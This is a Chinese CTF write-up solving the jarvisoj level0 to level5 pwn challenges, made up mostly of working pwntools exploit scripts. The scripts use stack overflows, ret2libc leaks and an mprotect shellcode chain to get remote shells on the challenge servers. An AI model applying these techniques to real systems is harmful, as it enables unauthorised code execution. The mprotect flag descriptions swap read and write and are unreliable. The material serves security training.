放进IDA,查看main函数
顺着返回函数走
这里的buf只有80个字符,但是read能读入200个造成栈溢出
然后查看callsystem
写exp
from pwn import *
elf = ELF(‘./level0‘)
p = remote(‘node3.buuoj.cn‘,25061)
Payload = b‘a‘*(0x80 + 8) + p64(elf.sym[‘callsystem‘])
p.sendline(Payload)
p.interactive()
放进IDA,查看main函数
然后发现这里的buf可以溢出
所以第一次覆盖先调用write拿到其地址,然后用偏移量计算出基地址,然后就能计算出system函数的地址,第二次覆盖调用system即可
exp:
from pwn import *
from LibcSearcher import *
r=remote(‘node3.buuoj.cn‘,27983)
elf=ELF("./level1")
main_addr=0x80484b7
write_plt=elf.plt[‘write‘]
write_got=elf.got[‘write‘]
payload=‘a‘*(0x88+0x4 )+p32(write_plt)+p32(main_addr)+p32(0x1)+p32(write_got)+p32(0x4)
r.send(payload)
write_addr=u32(r.recv(4))
libc=LibcSearcher(‘write‘,write_addr)
libc_base=write_addr-libc.dump(‘write‘)
system_addr=libc_base+libc.dump(‘system‘)
bin_sh=libc_base+libc.dump(‘str_bin_sh‘)
payload =‘a‘*(0x88+0x4)+p32(system_addr)+p32(main_addr)+ p32(bin_sh)
r.send(payload)
r.interactive()
放进IDA,先看main
找到能溢出的read
找到了system函数和bin/sh字符串来构造后门
exp:
from pwn import *
p=remote(‘node3.buuoj.cn‘,27582)
elf=ELF("./level2")
sys_addr=elf.sym[‘system‘]
main_addr=elf.sym[‘main‘]
sh_addr=0x0804a024
payload=‘a‘*(0x88+0x4)+p32(sys_addr)+p32(main_addr)+p32(sh_addr)
p.send(payload)
p.interactive()
和32位的区别是不用main的地址。ROPgadget --binary level2_x64 --only "pop|rdi|ret"找到rdi寄存器的地址
exp:
from pwn import *
p=remote(‘node3.buuoj.cn‘,27001)
elf=ELF(‘./level2_x64‘)
sys_addr=elf.sym[‘system‘]
re_addr=0x4006b3
sh_addr=0x600A90
payload=‘a‘.encode()*(0x80+0x8)+p64(re_addr)+p64(sh_addr)+p64(sys_addr)
p.send(payload)
p.interactive()
放进IDA
buf可以溢出
用re2libc,和level1类似
from pwn import *
from LibcSearcher import *
r=remote(‘node3.buuoj.cn‘,29284)
elf=ELF("./level3")
main_addr=elf.sym[‘main‘]
write_plt=elf.plt[‘write‘]
write_got=elf.got[‘write‘]
payload=‘a‘*(0x88+0x4)+p32(write_plt)+p32(main_addr)+p32(0x1)+p32(write_got)+p32(0x4)
r.send(payload)
r.recv()
write_addr=u32(r.recv(4))
libc=LibcSearcher(‘write‘,write_addr)
libc_base=write_addr-libc.dump(‘write‘)
system_addr=libc_base+libc.dump(‘system‘)
bin_sh=libc_base+libc.dump(‘str_bin_sh‘)
payload =‘a‘*(0x88+0x4)+p32(system_addr)+p32(main_addr)+ p32(bin_sh)
r.send(payload)
r.interactive()
ROPgadget --binary level3_x64 --only "pop|rdi|ret"取rdi和rei地址,然后和32位差不多
from pwn import *
from LibcSearcher import *
r=remote(‘node3.buuoj.cn‘,26229)
elf=ELF("./level3_x64")
main_addr=elf.sym[‘main‘]
write_plt=elf.plt[‘write‘]
write_got=elf.got[‘write‘]
payload=‘a‘*(0x80+0x8)+p64(0x4006b3)+p64(0x1)+p64(0x4006b1)+p64(write_got)+p64(0x0)+p64(write_plt)+p64(main_addr)
r.send(payload)
r.recv()
write_addr=u64(r.recv(6).ljust(0x8, b‘\x00‘))
libc=LibcSearcher(‘write‘,write_addr)
libc_base=write_addr-libc.dump(‘write‘)
system_addr=libc_base+libc.dump(‘system‘)
bin_sh=libc_base+libc.dump(‘str_bin_sh‘)
payload =‘a‘*(0x80+0x8)+p64(0x4006b3)+p64(bin_sh)+p64(system_addr)
r.send(payload)
r.interactive()
jarvisoj_level4
和3就差在一个r.recv()上
from pwn import *
from LibcSearcher import *
r=remote(‘node3.buuoj.cn‘,26949)
elf=ELF("./level4")
main_addr=elf.sym[‘main‘]
write_plt=elf.plt[‘write‘]
write_got=elf.got[‘write‘]
payload=‘a‘*(0x88+0x4)+p32(write_plt)+p32(main_addr)+p32(0x1)+p32(write_got)+p32(0x4)
r.send(payload)
write_addr=u32(r.recv(4))
libc=LibcSearcher(‘write‘,write_addr)
libc_base=write_addr-libc.dump(‘write‘)
system_addr=libc_base+libc.dump(‘system‘)
bin_sh=libc_base+libc.dump(‘str_bin_sh‘)
payload =‘a‘*(0x88+0x4)+p32(system_addr)+p32(main_addr)+p32(bin_sh)
r.send(payload)
r.interactive()
mmap:将文件映射到一段内存去同时设置那段内存的属性可读可写或者是可执行(没太看懂
void mmap( void *start , size_t length , int prot , int flags , int fd , off_toffsize);
mprotect:将从addr开始的地址 ,长度位len的内存的访问权限。
int mprotect(const void start , size_t len, int prot);
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
不用system的思路大概是泄漏write地址获得libc版本,把shellcode写入bss段获得mprotect函数地址并修改bss段的权限,最后执行bss段里的shellcode
exp:
from pwn import *
from LibcSearcher import *
r=remote(‘node3.buuoj.cn‘,26102)
elf=ELF("./level3_x64")
write_plt=elf.plt[‘write‘]
write_got=elf.got[‘write‘]
read_addr=elf.plt[‘read‘]
vul_addr=elf.symbols[‘vulnerable_function‘]
payload=‘a‘*(0x80+0x8)+p64(0x4006b3)+p64(0x1)+p64(0x4006b1)+p64(write_got)+p64(0x0)+p64(write_plt)+p64(vul_addr)
r.send(payload)
r.recv()
write_addr=u64(r.recv(6).ljust(0x8, b‘\x00‘))
libc=LibcSearcher(‘write‘,write_addr)
libc_base=write_addr-libc.dump(‘write‘)
mp_addr=libc_base+libc.dump(‘mprotect‘)
rdx_addr=libc_base+0x1b92
payload2 =‘a‘*(0x80+0x8)+p64(0x4006b3)+p64(0x600000)+p64(0x4006b1)+p64(0x1000)+p64(0x0)+p64(rdx_addr)+p64(0x7)+p64(mp_addr)+p64(vul_addr)
r.send(payload2)
payload3=‘a‘*(0x80+0x8)+p64(0x4006b3)+p64(0x0)+p64(0x4006b1)+p64(0x600a88)+p64(0x0)+p64(rdx_addr)+p64(0x30)+p64(read_addr)+p64(vul_addr)
r.send(payload3)
r.send(asm(shellcraft.amd64.linux.sh(),arch=‘amd64‘))
payload4=‘a‘*(0x80+0x8)+p64(0x600a88)
r.send(payload4)
r.interactive()
原文:https://www.cnblogs.com/diakla/p/14350787.html